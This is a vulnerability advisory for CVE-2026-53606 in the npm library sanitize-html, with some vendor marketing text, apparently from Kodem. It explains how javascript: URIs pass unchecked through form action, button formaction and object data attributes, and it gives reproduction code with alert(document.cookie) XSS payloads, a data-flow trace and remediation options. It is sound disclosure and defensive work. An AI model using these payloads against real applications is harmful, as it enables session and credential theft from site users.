Summary
sanitize-html has incomplete URI scheme validation in that allows javascript: URIs through action, formaction, data, poster, and background attributes
sanitize-html uses allowedSchemesAppliedToAttributes (default: ['href', 'src', 'cite']) to gate the naughtyHref() function that blocks dangerous URI schemes like javascript: and vbscript:. The HTML specification defines 10+ attributes that accept URIs (action, formaction, data, poster, background, ping, xlink:href, dynsrc, lowsrc), but none of these are included in the default gate list. When a developer allows any of these attributes in their configuration, javascript: URIs pass through completely unmodified, enabling XSS.
The library has zero awareness of these URI-bearing attributes, none appear anywhere in the 854-line source file (verified by grep). No warning mechanism exists, and the README provides no security guidance about expanding allowedSchemesAppliedToAttributes when allowing form or media attributes.
Severity
Exploitation requires non-default configuration: the developer must explicitly allow a non-default tag (e.g., form) AND a non-default attribute (e.g., action). Default configuration is NOT vulnerable. However, this is a common configuration pattern for CMS platforms, form builders, and rich content editors.
Affected Versions
All versions of sanitize-html from v1.18.0 (which introduced allowedSchemesAppliedToAttributes) through at least v2.17.2. The default list has been ['href', 'src', 'cite'] since introduction and has never been expanded.
Root Cause
File: index.js:329 (sanitize-html 2.10.0, confirmed same in 2.17.x)
// Line 329, The gate that controls scheme validation
if (options.allowedSchemesAppliedToAttributes.indexOf(a) >= 0) {
if (naughtyHref(name, value)) {
delete frame.attribs[a];
return;
}
}
Default list at line 829:
allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
The naughtyHref() function (lines 627-667) correctly blocks javascript:, vbscript:, and other dangerous schemes. However, it has exactly 2 call sites in the entire codebase (lines 330 and 395), both inside the indexOf gate. There is no ungated path.
When attribute name is action, formaction, data, poster, background, etc.:
indexOf('action')returns-1- The
ifblock is skipped entirely naughtyHref()is never calledjavascript:alert(1)passes through unmodified
The escapeHtml() function at line 464 provides no defense, it only encodes & < > " characters, which are not present in javascript:alert(1).
Data Flow:
Attacker input: <form action="javascript:alert(document.cookie)">
1. htmlparser2 parses → tag='form', attribs={action:'javascript:alert(document.cookie)'}
2. index.js:298 → allowedAttributes check: 'action' in developer config → PASS
3. index.js:329 → ['href','src','cite'].indexOf('action') → -1 → SKIP naughtyHref()
4. index.js:464 → escapeHtml('javascript:alert(document.cookie)') → unchanged
5. OUTPUT: <form action="javascript:alert(document.cookie)">
Steps to Reproduce
const sanitize = require('sanitize-html');
// ===== VECTOR 1: form action (100% reliable, all modern browsers) =====
const v1 = sanitize(
'<form action="javascript:alert(document.cookie)"><button>Submit</button></form>',
{
allowedTags: ['form', 'button'],
allowedAttributes: { form: ['action'] }
}
);
console.log('V1 (action):', v1);
// OUTPUT: <form action="javascript:alert(document.cookie)"><button>Submit</button></form>
// XSS triggers when user submits the form
// ===== VECTOR 2: button formaction (100% reliable) =====
const v2 = sanitize(
'<button formaction="javascript:alert(1)">Click</button>',
{
allowedTags: ['button'],
allowedAttributes: { button: ['formaction'] }
}
);
console.log('V2 (formaction):', v2);
// OUTPUT: <button formaction="javascript:alert(1)">Click</button>
// ===== VECTOR 3: object data =====
const v3 = sanitize(
'<object data="javascript:alert(1)"></object>',
{
allowedTags: ['object'],
allowedAttributes: { object: ['data'] }
}
);
console.log('V3 (data):', v3);
// OUTPUT: <object data="javascript:alert(1)"></object>
// ===== CONTROL: href IS scheme-checked (expected behavior) =====
const ctrl = sanitize(
'<a href="javascript:alert(1)">click</a>',
{
allowedTags: ['a'],
allowedAttributes: { a: ['href'] }
}
);
console.log('Control (href):', ctrl);
// OUTPUT: <a>click</a> ← href correctly stripped by naughtyHref()
Observed behavior: javascript: preserved on action/formaction/data but correctly stripped on href.
Expected behavior: javascript: should be stripped on ALL URI-bearing attributes, or at minimum, the library should warn developers when they allow URI-bearing attributes not covered by scheme validation.
Reporter
Kevin Lee (Changseon Lee)
OPCIA Corp. / PeanutAI Inc.
Seoul, South Korea
GitHub: crattack
Impact
An attacker can achieve XSS in applications that use sanitize-html with non-default configurations allowing URI-bearing attributes:
<form action="javascript:...">, XSS on form submission (all modern browsers)<button formaction="javascript:...">, per-button XSS override (all modern browsers)<object data="javascript:...">, object load XSS (Chrome, Firefox)<video poster="javascript:...">, limited browser support but spec-valid
Common vulnerable configurations:
- CMS platforms allowing form elements for user-generated content
- Form builder applications
- Rich text editors with extended tag allowlists
- Email template editors allowing media/embed tags
Mitigating factors:
- Default configuration is NOT vulnerable
- Requires double opt-in: non-default tag + non-default attribute
- CSP
form-actiondirective mitigates form-based vectors - Developers CAN manually add attributes to
allowedSchemesAppliedToAttributes
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-53606 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.17.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Option 1 (Recommended): Expand the default allowedSchemesAppliedToAttributes list:
// index.js line 829, change from:
allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
// to:
allowedSchemesAppliedToAttributes: [
'href', 'src', 'cite', 'action', 'formaction',
'data', 'poster', 'background', 'ping',
'xlink:href', 'dynsrc', 'lowsrc'
],
Option 2: Apply naughtyHref() to ALL attributes by default (invert the gate logic).
Option 3: Add a runtime warning when developers allow URI-bearing attributes not in allowedSchemesAppliedToAttributes (analogous to vulnerableTags warning for script/style at lines 124-129).
Frequently Asked Questions
- What is CVE-2026-53606? CVE-2026-53606 is a medium-severity cross-site scripting (XSS) vulnerability in sanitize-html (npm), affecting versions >= 1.18.0, <= 2.17.4. It is fixed in 2.17.5. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-53606? CVE-2026-53606 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of sanitize-html are affected by CVE-2026-53606? sanitize-html (npm) versions >= 1.18.0, <= 2.17.4 is affected.
- Is there a fix for CVE-2026-53606? Yes. CVE-2026-53606 is fixed in 2.17.5. Upgrade to this version or later.
- Is CVE-2026-53606 exploitable, and should I be worried? Whether CVE-2026-53606 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-53606 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-53606? Upgrade
sanitize-htmlto 2.17.5 or later.